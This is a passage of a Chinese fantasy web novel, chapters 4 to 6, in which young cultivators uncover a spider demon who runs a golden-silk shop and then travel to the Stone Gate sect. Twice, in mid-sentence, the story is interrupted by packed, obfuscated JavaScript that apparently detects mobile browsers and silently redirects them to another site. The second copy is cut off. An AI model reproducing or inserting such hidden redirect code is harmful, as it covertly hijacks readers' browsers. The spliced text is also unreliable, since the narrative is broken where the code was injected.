一楼墙边柜台后升起个铁塔般的汉子,络腮胡里还缠着几粒茶叶,眼尾的笑纹皱在一起,声音也似本人模样般粗犷:“两位,茶楼新到的络云红茶,汤色浓得能挂壁,客官可要尝尝?” “给她来一杯。”白墨轩收起伞,下巴朝纪泱泱抬了抬。 纪泱泱眉头皱起,瞪着白墨轩,努力表达着自己的不满。白墨轩这人不是挺爱喝茶的么,怎么不自己点?在老媪家,饭没吃多少,茶水倒是一杯接着一杯地灌。 “我不渴不用了谢谢!”纪泱泱看向络腮胡,飞快摆手拒绝,就听头顶慢悠悠飘来一句:“我付钱。” 纪泱泱当即放下手,叉起了腰,头高高扬起,眼睛斜睨着白墨轩:“那我喝,我要喝一——整壶!”有便宜不占王八蛋! “随你便。” “好嘞!”络腮胡子转身去拿茶壶。 纪泱泱跟着白墨轩去到他选好的位置——怕他赖账或者偷偷溜走——这大概是一楼最靠里,最阴暗的地方了,纪泱泱坐下后,在吵闹中仔细分辨着其中有用的字眼。 然而无非就是哪家孩子走丢被送了回去,临街的又一百旬老人去世,哪里的官人赎了个青楼女子回去,谁家的小姐高中了状元…… 纪泱泱坐得屁股都麻了,抬眼一瞥自己对面的白墨轩,发现他一直维持着同一个姿势,背挺得直直的,还在悠悠品着茶。 原来给她点茶只是为了买个地方坐着么? 不行了,纪泱泱喝得撑撑的——她不喜欢喝浓茶,于是不停加水——将自己面前的茶具推开,屁股后挪,整个人在桌子上摊开。 然而不等她趴够,粗犷的声音再次响起,其中夹杂着揶揄:“呦,县太爷!您大驾光临呐!” 周围散乱的闲谈声突然减弱,纪泱泱仍旧趴着,目光却跟着大部分人一样转向门口。 县令穿着青色便服,腰间系着一条宽大的青色腰带,身材高大,国字脸,头发一丝不苟地用发冠束起。 “呀,胡掌柜,不敢当,不敢当呐!” 络腮胡子从木凳上起身,粗粝的手掌重重一拍柜台,震得青瓷茶盏叮当作响:“新到的络云红茶,县太爷可要尝尝?” 县令随便找了个地方,拒绝了迎上来的堂倌——“就在这儿吃!”衣袍一撩就坐了下去,笑着用手指指点着络腮胡子,“本县定要尝个痛快!” 他也重重地一拍桌子。 然而没等络腮胡子转身,县令脸上却露出惋惜的神色:“不过,只怕要等下个月才能尝喽!” “怎么?”络腮胡子向身后的柜子摸去,熟练地拿出一个青白釉茶壶,一只同材质茶杯——似乎是县令专用的,“又去哪赌钱输光了家当?” 纪泱泱猛地爬起来,端回茶杯,眼珠瞪得都快要掉进去:那可是县令欸,他一个平民怎敢如此大胆放肆?! 白墨轩眼疾手快地稳住桌子,瞥着自己杯里不住摇晃的清色茶水,皱起了眉。 “瞧你真会说笑,本县可从来不赌!”接着话锋一转,“不过最近要节省一点是真的,金丝楼不是上了一批新衣裙嘛,小女缠着本县要了整整七曜日,不得不买!”嘴上埋怨着,眼角却乐得开了花,全然是对女儿的宠溺。 闻言,茶楼几近消失的说话声瞬间被“金丝楼”点燃,话题一致围绕着这三个字展开: “这楼仅是一尺掺金丝线布要价也足足几十两黄金,他一个小小县令,如何能买?” “嘘,人家之前可是在皇城里从商,只是年岁渐长,买了这个地方小官来享受天伦之乐罢了。” “得了,那衣裳根本不是我们这些平民能够消费的,都是为那些达官贵人,富商巨贾准备的!” “你知不知道,皇帝有件龙袍,用的就是这楼里成色最好的一批布,拿纯金丝线织成的!” “唉,那金丝到底是什么材质?咱要是知道,也去赚这钱!” “呸!人家的生意机密,怎么可能让你知道?痴心妄想!” 4. 第 4 章 金丝楼 听到这儿,纪泱泱一下子来了精神,目光移到白墨轩脸上,满脸期待:“咱们去那金丝楼里看看吧?” 然而白墨轩依旧不紧不慢地摆弄茶杯:“我对那些丝绸匹缎不感兴趣。” 不感兴趣?! 嘁,用脚也能看出来,他这一身衣裳的价值绝对不菲——一袭象牙白锦袍似流云裁就,领口以雪色鲛绡镶边,窄腰用一根月白丝帛束着,衣摆处银线绣成的纹路蜿蜒而上,化作展翅欲飞的鹤,广袖翻飞时更有银丝暗纹折射出微光,恍若皎皎月光倾泻在衣袂之间。 明明就对自己的穿着很上心嘛! 纪泱泱边起身招呼堂倌结账,边扭头看向白墨轩:“就去看看嘛,又不买……” “茶楼鱼龙混杂,闲言碎语皆可能是有用信息,纪同道不在这里待着,倒只想着满足自己的私乐,难道不打算为调查出一份力么?”白墨轩拿起茶杯,搁在唇边,满脸痛心地摇了摇头。 纪泱泱难以置信地瞪大眼,手指抚上心口,气得都快要笑出来:“满足我的私乐?这楼里有用的基本都听完了,难道你要继续在这儿听赵四和王五家配种的狗的后续?况且,你怎知去金丝楼就不会得到线索?万一正好……”忽地,纪泱泱心下猛地一沉。 难道这金丝楼里有什么见不得光的东西,他知道,所以在故意阻拦?这个白墨轩,又想搞什么诡计! “一楼没有,不是还有二楼么?不去。”白墨轩垂下眼,继续往杯中倒茶,语气淡淡。 纪泱泱对自己的猜测更加笃信,冷笑一声:“你不去是吧,不去我就……”她忽然顿住。 白墨轩看着她,微微挑眉:就怎样? 纪泱泱对上白墨轩嘲弄的眼神,犯了难:对啊,她能拿他怎么办? 不经意间瞥到白墨轩跟前的茶杯时,纪泱泱心下一亮:“我就一直在这里晃桌子,扰得你不得片刻安宁!”说着,她一屁股坐回木凳,咧开嘴,大有一副将白墨轩茶杯晃倒的架势。 白墨轩心里突然升起一丝躁意,收起茶具起身要走。 “对嘛,账都结了,哪还有赖着不走的道理……”纪泱泱计谋得逞,“嘿嘿”两声,快步跟上。 …… 金丝楼的掌柜衣寸生是个貌美的女人,约莫三十几岁,明眸皓齿,青楸色的衣衫上绣着大片竹叶,只是那头发用一根浑身透红的素簪挽起,与这一身青色衣服不仅不搭,反而还增加了一丝土气。 楼里仅有她一人接客,一见到纪泱泱二人,就笑语盈盈地迎了上去,温柔又热情:“二位需要些什么?” 屋子里各色布匹摆放在架子上,金丝缠进绸缎里,随着走路人的脚步起伏,一眼看去像把金日碾成星沫子洒落其中,两眼看去又像将胭脂铺里的金粉抖落在上面,在白天里依旧灼灼生光。 “衣掌柜,楼里可有金丝线轴售卖?”白墨轩露出一贯的微笑,翩翩有礼地开口,“实不相瞒,过几日是小妹的生辰,需要用它做一身参宴的新衣裳。”说完冲纪泱泱挑了下眉。 “是啊,所有材料一定要万里挑一,才能配得上我这闭月羞花、沉鱼落雁、倾国倾城的美貌!”纪泱泱脸上挂着笑,配合地拎起裙角,甚至还踮脚转了个圈,一副无忧无虑的俏皮小姐模样,心里却在偷骂白墨轩:这人还真是撒谎不打草稿,她怎么不知道自己快到生辰日了? “有的,两位请随我来,”衣寸生转身,纤细的手指小心地扶住头上那支血簪,生怕它从发间坠落,“纪小姐还真是活泼。”她轻轻笑了一声。 “嘿嘿,多谢衣掌柜夸赞!” 衣寸生走路极快,纪泱泱跟在她身后,慢慢皱起了眉:正常人走路都是由腿带动身体,手臂也会跟着摆动,但是衣寸生,膝盖不怎么弯,直直地走,像是身体先鱼一般往前扑腾一下,再拼命在倒地前挪动两下腿一般,而且手臂也不摆,仅依靠扶簪子这一动作来掩饰。 这就像……就像什么呢?纪泱泱的大脑飞速运转,眼睛猛地一亮——像提线木偶! 只不过衣寸生表现得极其自然,又有衣衫遮掩,看不太出来罢了。她开始庆幸自己跟得紧,若是再离远一点,怕是永远也发现不了。 正想着,纪泱泱鬼使神差地偏头去瞧白墨轩,发现他也在盯着衣寸生的腿,拧着眉。 他不好奇么?反正纪泱泱一点儿事也憋不住,有了问题就要立刻问出来—— “衣掌柜,你这一身绿衣,为何要拿红簪子配?” 纪泱泱边问边思考:如何才能将话题引到衣寸生的怪异动作上呢? 衣寸生脚步一顿,放下手,回过头来,嘴角勾起,漾开一片温暖的笑意:“早些时候我救过一个小女孩儿,她为了报答,把全身最珍贵的东西给了我,所以我也珍惜得紧。” “这样啊,那……” 三人继续走,绕过一扇四折点翠屏风时,纪泱泱只觉着眼前突然一亮,立刻忘了继续追问,忍不住惊叹:“衣掌柜,这是你绣的么?上面的鸟儿真得都要飞出来了!” “是啊,放在一楼这儿,既可以分隔布料和线轴,也算是一个活招牌吧!” “哇!衣掌柜你也太厉害了吧!超级!无敌!好看!这哪里是活招牌,简直就是绣娘里的传奇!!” 被极其崇拜的话夸着,衣寸生的眼睛都弯成了月牙:“谢谢,纪小姐的嘴可真甜呐!” 屏风后立着许多高大的黄梨木柜,柜门由透明琉璃制成,各色线轴摆在柜子里头,看得人眼花缭乱。 衣寸生将二人引至最后一个木柜前,这个木柜全身黑漆漆的,一看便知拿大漆染过,连同柜门也是纯木,整个空间密不透风,站在它跟前,压抑气息扑面而来。 衣寸生的手指抚上柜门中间突出来的圆球状把手,扭头提醒道:“二位靠后站,免得光芒刺伤眼睛。”话音刚落,她便拉开了柜门。 金光如瀑布般泄出,白墨轩瞳孔骤缩,几乎在同一瞬间撑开了手中的伞,挡在眼前。 一旁的纪泱泱用手捂住眼,纵是做了准备,她还是被狠狠地晃了一下。 没了柜门的阻隔,阳光一下子照进柜里,照得线轴金灿灿的,像在里面升起来了第二个太阳。 衣寸生拿出来一个,递给纪泱泱:“需要多少呢?” “哦,好的,好的。”纪泱泱的注意力此刻全然放在了绕在轴上的金丝线上,张嘴胡乱答着。 线轴很轻,大半的重量都是来自轴心,纪泱泱找到线头,捏在手里细细捻揉——跟头发丝差不多粗,韧性和弹性都很大,捻过之后,两指捏起又分开,甚至还能感受到一丝黏腻。 这到底是什么? 白墨轩将柜门关上,遮住那一片金光,心下终于松出一口气,又见纪泱泱满脸的认真,心里盘算着:也该差不多了。 正想着,纪泱泱迅雷不及掩耳之势将金丝线轴往他怀里一塞,扭头故作扭捏地问向一旁的衣寸生:“衣掌柜,附近可有厕房?有的话,在哪里呢?” “楼后北偏东的树林处有一间,只是简陋些罢了。” “好嘞好嘞!谢谢衣掌柜!”得到回答后,纪泱泱笑嘻嘻地转身,一溜烟便跑没影了。 望着她跳脱的背影,衣寸生哑然失笑:“纪小姐一直这么快乐么,总能带动起别人的情绪,让人忍不住跟着她一起露出笑容,可真真是讨人喜欢得紧呢。” 快乐么,没心没肺才对,否则在面对危险时怎么一点儿也不害怕? 白墨轩垂眸,握住线轴,拇指指尖划过一根根金丝线,好似在弹奏古筝一般——那上面似乎还留有纪泱泱手心的温度。 “请问,这是什么材质呢?”白墨轩唇角轻扬,笑意若春水映梨花,目光却似这水里悄悄往下蔓延的冰,锥一般刺向衣寸生。 衣寸生似乎没察觉到,遗憾地摇了摇头:“这金丝是从山里运出来的,珍贵无比,至于材质,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062578|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不——” “蛛丝,”白墨轩猛地打断她,笑容更胜,瞥了眼紧闭的大漆木柜,“收收味儿。” 衣寸生面上瞬间露出惊恐的表情。 楼外的温度不像刚来时那般热了,天际似被蜡点燃,映照出温暖的光——太阳快要落山了。 早些在茶楼里喝了太多的茶水,纪泱泱刚踏进金丝楼就有了尿意,她拼命忍住就是为了看一眼那华贵的金丝,而现在,正是她特意挑选的最佳时机——白墨轩不是说要买么,那自己就给他这个机会。 “小老鼠,上灯台,偷吃油,下不来……”纪泱泱嘴里得意地哼着,走出了茅厕。 “……衣掌柜……衣楼……” 纪泱泱进茅厕前就听见有稀稀疏疏的讲话声,只不过她急得很,并未细听。 现在,她收回即将迈出的脚,藏在茅房最里面,捏着鼻子仔细地听后窗传来的声音。 “近些日子呀,买了她家衣服的小姐和公子都跟被人下了降头一样,整个人呆在床上,下人们想要为他们擦拭身子也不行,两手死死拽着那衣服,死活不叫脱……” “太宝贝那衣服了吧?我要是有那般金贵的衣服,穿上也不肯脱!” “我听说,今天衙门前那疯老头又去闹了,搅得整个宴会不得安宁,县令都亲自驱赶,口里还一直嚷嚷着衣掌柜是妖怪,莫非……” “呸呸呸!你遭了邪啦?她的夫君就是道士,若她是妖,怎会不知?” “可是……” “什么可是!好了,快走,东家该催了!” 一阵急促的脚步声响起,窗后再也没了动静。 纪泱泱猛地冲出茅房,深吸了两口气就忙不迭地向金丝楼里冲去。 一路上,她的心跳得咚咚响,在胸膛里打鼓一般,待她终于火急火燎地转到屏风后,眼珠子都要从眼眶里蹦出来—— 屏风后的空间像极了盘丝洞,缕缕金丝在空中交织,网一般泛着光,中间还被掏了个洞,纪泱泱正好从中看见了白墨轩慢悠悠地收起伞。 黑漆漆的木柜大开着,里面却是空空如也,线轴散落一地,表面已经没了金丝。有几个还在平着滚,瞅准浪一般层层叠叠的衣裳,骨碌碌地钻进底下,一眨眼便不见了踪影。 衣寸生的那件青衫就铺在线轴旁,皱巴巴地缠着金丝,隐约还能看见鼓起来的鞋子。 不知为何,纪泱泱突然想起了青湖边的那张人皮。 “她,她……”纪泱泱惊骇地指着那摊衣服,“果然是妖么? 她深吸一口气,颤着嗓子道:“那金丝就是蛛丝,她是蛛妖!” “不然?”白墨轩双手抱胸,嘴角划过一丝冷笑,“纪同道还真是心大,若是每次都能刚好躲过,也算是你的本事。”话了一甩袖子就朝外走去。 他在生气?为什么? 纪泱泱追上白墨轩,扯了扯他的袖子,小心翼翼地凑到他跟前,乌黑的眸里是不加掩饰的关切:“白同道,你受伤了么?” “受伤?”白墨轩扯开嘴角,淡淡嘲讽道,“就凭这种货色?” “是,是,你最——厉害了!”纪泱泱嘴一撇,当即松开了白墨轩的袖子,手掌拍向他的肩,了然于心地开口,“一定是皮糙肉厚,若不然,被那坚韧的蛛丝一划,定要片下一层肉来!” 白墨轩一愣,难以置信地瞥向肩头:皮、皮糙肉厚?他? 纪泱泱一改担忧的模样,蹦蹦跳跳地往前走:“我们快去集合吧,不然师姐他俩该等急了。” 少女行走间,浸过香气的梅子青裙摆经风一吹,如涟漪般荡漾在空气中,绑住头发的同色发带随着她的脚步一动一晃,像一只翩飞的蝶子。 衣寸生不是说她能带给别人快乐么,怎么带给他的却总是那么出人意料? 白墨轩深吸一口气,垂下头,将脑海中的杂念去除,再抬起时,面上已然恢复了那副温和的假笑。 5. 第 5 章 河虾花灯 天空一丝云也没有,青灰、虾子色、驼绒、缃色、拓黄从上至下依次晕染开,慢慢地,有关黄色的一切都尽数褪去,唯余青灰还在逐渐加深。 长街道旁的小贩们开始架起摊子来摆花灯,酒当歌在一处卖鱼虾花灯的摊位前驻足,出神之间,右肩被人猛地一拍,她转过头去,却只看到了熙攘的人群,正疑惑着,左肩又被戳了几下,她刚一扭头,“哇!”纪泱泱十指呈爪状,猛然窜到她的眼前,大叫一声。 酒当歌心跳骤然加速,瞳孔猛地扩大,嘴唇圆张,差点后仰过去。 “哈哈哈哈哈!哈哈哈哈!哈哈……咳咳咳——”莫云欲怀里抱着一堆东西,还不忘腾出一只手来,指着酒当歌,笑得前仰后合,甚至还抽空跟纪泱泱击掌。 “好啊你俩!”酒当歌怒瞪向两人。 见她一副准备兴师问罪的样子,纪泱泱眉头无辜上挑,抬手指了指莫云欲:“莫同道出的主意。” “什么?”莫云欲瞠目结舌,指着酒当歌的手指颤巍巍地移向纪泱泱:“你!”又看向酒当歌,急忙辩解,“不是,当歌,你听我解释!” 酒当歌冷笑一声,一脚踢上莫云欲的屁股:“解释什么?泱泱还是小孩子,非要把她带坏!” “明明是她——” “她怎么了?说!” 纪泱泱见状暗叫不好,抢在莫云欲前面出声:“师姐,吃点儿点心消消气!”纪泱泱笑嘻嘻地把几样东西塞到酒当歌手上,还在她看不见的地方冲莫云欲咧嘴挑眉。 那不是自己买的么?何时到了她的手上!莫云欲气得眼皮子直跳,撸起袖子伸出双手欲捉纪泱泱:“好啊你,借花献佛是吧!” “师姐,你看他!”纪泱泱从他的手臂下钻出,慌忙逃到酒当歌身后。 “莫!云!欲!不许欺负泱泱!” “……” 三人吵闹的嬉笑声四散开,随着风融进人群里。 他们三个这么熟了么? 白墨轩静静地立在摊前,挺拔的身形如雪山上矗立的一棵孤松,他心不在焉地盯着各色花灯,耳朵却将三人的话语一字不差地捕捉,灯光斑驳地映在他的脸上,却始终落不进那双黑寂的眸里。 “你要买么?”纪泱泱不知何时来到了他的身旁,弯腰侧仰着看他。 “什么?”白墨轩心不在焉地将目光从花灯上移开,不远处的酒当歌和莫云欲正说着些什么,见他看过来,飞快向他招手。 白墨轩只得对着他们扯出一个微笑,仅是一瞬,又侧过脸隐了下去,他看向纪泱泱,眉头微皱:“你过来做什么?” “师姐让我来叫你一起商量事儿,”纪泱泱站直身子,睁着两只水润润的黑眸,又认真地问了他一遍,“你要买灯么?我见你看了好久。” “不买。” “哦,”纪泱泱在原地蹲下了身子,伸出手开始摆弄花灯,“你一直在看,我还以为你要买呢。” 少女的衣袖从梅子青往下晕染成藤萝紫,经微黄的灯光一照,反倒将她那只伸出的手衬得愈发白皙起来。 白墨轩想要转身离开,但又好奇究竟哪一只灯才能得到她的青睐,便漫不经心地找话聊:“你不走?” “现在不走,”手指抚上锦鲤花灯薄薄的灯绢,纪泱泱头也不抬地回他,“白同道,你先走吧,我一会儿再去找你们。”说完对着花灯纠结起来。 她看中了两个,一个螃蟹,一个河虾。 螃蟹扁宽,腿粗,河虾纤长,腿细;螃蟹的花纹连整,是层层的浪;河虾的花纹细碎,是绵绵的山。 “你要买灯?为什么?”白墨轩想不明白,白天又用不着,晚上有夜明珠和蜡烛,再不济还可以用光符,而且花灯脆弱得很,尤其异形,一不小心就会烂掉。 “因为我喜欢啊。”纪泱泱抬头看他一眼,似是在奇怪他为什么会问出这样的问题来。 “尤其是这些看似花里胡哨、不中用的东西,说不定日后用得上呢!” 说话间,纪泱泱付了钱,提着买好的灯站起身来,左看右看,满意地点着头:“好看!” 河虾外壳用丝绢剪裁拼接,绷在粗细不一的竹篾上,背部用浓厚的岩彩涂抹——酞青蓝、羽扇豆蓝、胶青……此起彼伏的山峦勾勒其上,腹部即使仅用黑金线条描出步足,也不会显得顶重底轻。 “只是好看么?” 纪泱泱觉得白墨轩莫名其妙,看傻子一样地瞥了他一眼:“好看就行了呗,还想怎样?” 她说着将悬丝尾端的铁丝钩挂在了虾的关节处:“还好玩,你瞧……哇!”纪泱泱挪动了一下竹棍上的铁环,眼睛忽而发出巨大的光亮。 河虾的一对钳子在空中一晃一晃的,像要将食物送进口中一般活了过来,细铁丝触须跟着纪泱泱的动作一颤又一颤。 “怎么样?”纪泱泱得意地冲白墨轩挑了挑眉,不等他回答就拎着花灯跑向酒当歌,还不忘回头一吐舌头,“给师姐他们看看,先走一步啦!” 花灯丝绢粘合处散发出的米香混合着淡淡蜡烟,被纪泱泱远远地落在身后,连带着她身上散发出来的不知名香气,一齐随着风飘进白墨轩的鼻尖。 仅仅好看就行了么?不不不,那个男人说过——“好看只能锦上添花,不能雪中送炭……” 河虾空出来的位置被摊主用螃蟹补上,白墨轩垂下头,目光落在丝绢上的山峦——它与纪泱泱手中河虾上的一模一样,都是黑金线,蓝绿山。 两座山的线条在他眼里渐渐重合,白墨轩猛地一眨眼,山又变成了一座。 他恍惚了一下。 脚下似乎在突然间摇了起来,又似乎摇了很久。微风裹挟着时隐时现的腥臭气味,代替了纪泱泱身上的那股香气,除了惊现耳际的鸟叫,甚至还有哗啦啦的水声…… 哗啦啦的水声? “你快吃呀!老是盯着我的河虾花灯看干嘛?” 白墨轩突然回神——自己现在是在水上啊。 半柱香前,酒当歌和莫云欲打算今晚直接拜访石头门,纪泱泱没有异议,于是酒当歌俩人叫白墨轩过去,想听听他的意见,但他那时心里装着别的事儿,便随口敷衍了几句。 见所有人都同意,酒当歌当即一拍板,租了一条乌篷船,直接从水路出发去往尸鬼山脚下的石头门。 走水路主要是为了速度快,况且,交换打探来的消息还是有必要找一个没人的地方的。 “问你买么你不买,现在却一直盯着看,干嘛?想让我给你,门都没有!”纪泱泱看着白墨轩,不满地出声。她手里捏着一个大鸡腿,吃得满嘴都是油。 河虾花灯……花灯……对啊,自己干嘛一直盯着她那只花灯看? 河虾花灯里的蜡烛发出亮亮的黄光,此刻正蜷缩在纪泱泱的脚边,下一秒,她愤愤地拿起花灯吹灭,手里仍旧捏着鸡腿,另一只手迅速把灯收进了芥子袋。 整个过程中,纪泱泱的眼睛紧紧盯着白墨轩,防贼一般,生怕他突然来抢。 世界突然暗了一个层次,船内唯一的桌子焊死在最中间,船顶贴了一张黄色的光符,刚好照亮桌子和围坐着的一圈人。 “白同道不必客气,”见白墨轩一直发呆,莫云欲笑嘻嘻地往他身边挪了挪,扇子合起来指了指摆满东西的桌子,“我跟当歌在衙门前吃过了,这些都是给你们二人买的。” “是啊,”莫云欲对面的酒当歌掰着手指头,细细数道,“烤鸡腿、荷花酥、冰酥酪,白同道想吃哪个就吃哪个。” 她说完,还看了眼身边的纪泱泱,满脸欣慰道:“你看泱泱,差不多都该吃饱了。” 烤鸡腿和荷花酥都拿油纸包裹,拿细草绳缠,黑字红纸方方正正地覆在里头,最中间写上铺名,祝福字用小章盖在旁边。 冰酥酪不同,拿一张大纸叠成个纸盒,盒子外壁用草绳细细缠起来,防走形,多出来的四个角向内交叠着折进去,恰好把里面的食物包装得严严实实。 白墨轩仅是撇一眼就移开了目光,嘴里微微叹出一口气,无 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莫云欲努力地从记忆里搜寻着有用的信息,突然,他的脑中闪过一张脸,“对了,宴席上有一个疯老头儿来闹事,非要说金丝楼的掌柜衣寸生是妖怪,不过无人信他就是了……” 酒当歌托着下巴,也跟着努力回忆道:“我听大家都说那掌柜待人和气,温柔可亲,虽经营着名气不小的金丝楼,可却一点儿架子也没有,不像是会吃人的妖怪啊。” 白墨轩的手放在桌子上,指尖有一下没一下地敲着,闻言悠悠地飘出一句:“她确实是妖。” 短短五个字,惊雷一般炸响在莫云欲和酒当歌耳边,二人眼睛骤然瞪大,几乎是异口同声——“你怎么知道?” 白墨轩举起茶杯,轻描淡写地开口:“我杀了。” “你杀了?”酒当歌惊得倒抽一口气,视线在他与纪泱泱之间来回移动。 纪泱泱吃饱喝足往身后的船壁上一靠,两腿伸直,缓缓揉着圆滚滚的肚皮,闻言,她想到了什么似的猛地弹坐起来。 “可我听别人说,她的夫君是道士,若她是妖,怎会不知……”说着,一个大胆的猜想瞬间在纪泱泱脑海中成型,“难道,她把自己的夫君吃了,又做了一个假夫君?” 这句话一出口,就连白墨轩也看向了她:“你怎么知道?” “我猜的呀,你们怎么还当真了?”纪泱泱茫然地看着三人,突然反应过来,“哦,‘她的夫君是道士’这句?我去茅房的时候听别人说的。” 她补充道:“听那两人说,买了金丝楼里衣服的小姐公子们都跟中了邪似的,死活不肯脱那衣服!” 说完,纪泱泱的脑海里又窜出来一个猜想,她神秘兮兮地凑近三人:“你们说,会不会是衣寸生用衣服里的蛛丝控制了他们?” “蛛丝?她是蜘蛛妖?”酒当歌见纪泱泱点了点头,摸着下巴沉思起来。 “不无道理,”白墨轩顺着纪泱泱的猜想接了下去,“那些布匹少说也有几百上千,再加上楼上那些衣服……” 他一顿,旋即提出疑问:“那么多蛛丝,她是从哪里得到的呢?” 莫云欲本来弯着腰,用手肘撑着腿,听到最后一句时,突然坐直了身子,看向酒当歌的眼神里是前所未有的严肃:“当歌。” 酒当歌被莫云欲突如起来的两个字吓了一跳,随即没好气地白了他一眼:“干嘛?” “你记不记得,问起金丝楼时,与咱们一桌的那个中年男人说了什么?” 见他难得严肃,酒当歌摸着下巴回忆起来:“嗯……他说,他从没在县里见到过金丝作坊,也没听有人说看见过,是这个么?” “你再想想,后面呢?” 酒当歌的眼倏忽亮了起来:“他说自己有一次上山采蘑菇,亲眼瞧见一群石头门弟子抬着几个大箱子从尸廆山上下来,其中一个人被石头一绊,箱子飞出去把锁磕坏了,里面露出来的,可是一缕缕金丝!” 6. 第 6 章 石头门 纪泱泱的脑子飞快地转,脱口而出:“金丝作坊说不定就在在尸廆山上!” “当然这些还只是猜测,石头门不就在尸廆山上么,咱们一会儿到了问问。”酒当歌说完,船“哐当”一声靠了岸,震得所有人身形一晃。 四人下了船,莫云欲将藤条编成的缆绳牢牢系在岸边的石柱上。 一尺宽的石柱似人半截进了土,上面刻了三个大字——尸廆山,胭脂生漆像极了干涸的血,描满凹进去的字痕,倒真应衬了“尸”这个字。 “今晚的月亮不够亮啊。”莫云欲惋惜地摇了摇头,掏出一张光符和一张飞行符置于左手掌心,右手食指与中指并起,点了点符纸,随即一声喝令:“起!” 两张符纸紧紧贴在一起,晃晃悠悠地飞起来,像从地上倒着飘向天空的落叶,最后高高地悬在空中,把四人脚下的路照了个昼亮。 “哇,还能这样!”纪泱泱拉着酒当歌的衣角,依她带着自己走,自己则惊叹地仰望起符纸来。 “哼,知道我的厉害了吧!”莫云欲得意地摇着扇子,旋即被酒当歌一脚踹到最前面,打头阵去了。 “嘁,这都是御符宗最基本的符纸用法,”酒当歌双手抱着胸,满脸嫌弃,“泱泱要是喜欢,回头我教你更高级、更好玩的!” “嘿嘿,谢谢师姐!” 白墨轩跟在最后,撑伞将视野里的符纸挡住,盯着纪泱泱后背的双眸冷得出奇:这时候怎么不用那只虾灯了? 石头门坐落在山脚上方,山腰稍下一点,穿过一条不算太倾斜的灌丛山路,还要走上几节长长的台阶。 整个建筑似是在山体上凿了个洞,直接在石头上雕成的镂空艺术品——触目所及,全是石头,连池塘里养的花都是石头雕的。 大家似乎都歇下了,门里空无一人,守门的弟子将四人带到厅堂,就去叫门主了。 三人都在盯着大门,目不斜视,唯有纪泱泱鸟一样一直伸着头左顾右盼。 厅堂以中轴线为基准,左右两边的建筑结构完全对称,门主的座位立于最里处的高阶之上,虽是门里的最高象征,却也还是石头雕的。 八根竹叶浮雕的石柱撑起了整个屋子,石灯只在角落处摆了四个,蜡烛内嵌在里面,竟也能点亮会客厅。 石头门门主卫磐石,约莫五十来岁,一身粗制青灰布衣,在身旁两名弟子的搀扶下拖动着肥胖的身子,气喘吁吁地走进来,一见到莫云欲和酒当歌,立刻拱手作辑,满脸堆笑地迎了上去。 “哎呀,莫同道和酒同道对吧?久仰两位大名!” “卫门主认识我二人?”莫云欲脸上堆满客套的笑,眼神却是疑惑。 卫磐石笑容不变:“当然!”他面上旋即也显露出疑惑来,“二位声明远扬,本人竟不知晓?” “这样么?”酒当歌点了点头,唇边扬起一个笑,“原来我们这么出名!” “那是当然!” 卫磐石屏退了弟子,扭过头来:“你们是不知道啊,所有上山的道士,至今呐,没有一个下来的!” 他摇头说着,一半愤懑一半悲伤,被油水撑润的脸毫无征兆地转向纪泱泱和白墨轩:“这两位是……” 纪泱泱露出一个标准的客套微笑:“我叫纪泱泱,师出剑霜山,这次出山,是为历练。” “历练?历练好哇,增长本领……”吧啦吧啦……一堆长辈对晚辈的客套话。 纪泱泱漫不经心地听着,目光偷偷移向自己身旁的白墨轩:自己说完了,该他了吧?他好像从未介绍过自己来自哪里。 看他一身的锦衣玉袍,手中执的伞更是价值不菲的样子,想必一定是师出哪个大宗门。 可现在的大宗门又有几个呢?纪泱泱开始走神—— 莫云欲师出的御符宗算是一个,天下道士手中的符纸,十有八九都是来自那里;师姐和自己师出的剑霜山也算一个,但几十年前就遗世独立、避嚣习静;药王谷,为伤者医,予弱者庇,也算一个。 不过,这三个宗门近些年却或多或少都落魄了,甚至还有被新兴小宗门派赶超之势。 “在下白墨轩,来自卦镜殿。”白墨轩拿着伞,又作一揖,脸上还是挂着那副温和的笑。 这话一出,在场的人全都愣在原地,仿佛他提到了什么禁忌之词一样。 只有纪泱泱一脸茫然,她刚想问,随即被酒当歌用眼神示意:嘘,不要说话。 终于还是白墨轩自己打破了沉默:“我自知宗门衰落,在世上已销声匿迹,此番就是下山去寻振兴之法的……”说着,他微微低头,眼神黯淡下去。 白墨轩的模样生得实在优越——眼形狭长,眼尾微翘;黑漆漆的眸,墨汁里泡过似的浓厚;鸦黑的羽睫纤长浓密,装可怜时,一身白衣为他更衬几分悲伤。 他是无尘清夜,负雪梨枝,是寒潭映白月,是云山画图中悠然坠地的一片云。 酒当歌见他这幅模样,于心不忍地拍向他的肩:“没事,我们陪你一起找。” “对啊,”莫云欲也紧跟着应声附和,“天下之大,总有办法来解决嘛。” 纪泱泱脑海中却浮现出少年初见时恐吓自己的阴狠面庞,脑中浮现疑问:不是吧,他来真的? 那自己不安慰他,会不会被他再记一笔?纪泱泱在一旁杵着,低下头,绞尽脑汁地想。 算了,她在脑海把自己学过的客套话想了一遍,还是决定不说话——她不怎么会安慰人。 白墨轩捏伞作揖,不着痕迹地后撤,让酒当歌的手离了自己的肩,“多谢两位同道。”语毕,他微微侧身,眼中浮现的阴翳却被这边刚好抬起头的纪泱泱瞧见。 完蛋了,自己一定是被记恨上了……纪泱泱欲哭无泪——现在安慰他还来得及么? “纪同道,怎么了?”白墨轩的语气很是温柔,勾起的唇角却隐隐出露着危险的意味。 那样瞅着自己作甚?干脆就在这里把她捅死算了。 此时此刻,什么阴谋,什么算计,统统都化作了云烟散去,一股破罐子破摔的疯狂劲儿猛地涌上白墨轩心头。 “哦,没事,没事。”见原本谈论着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 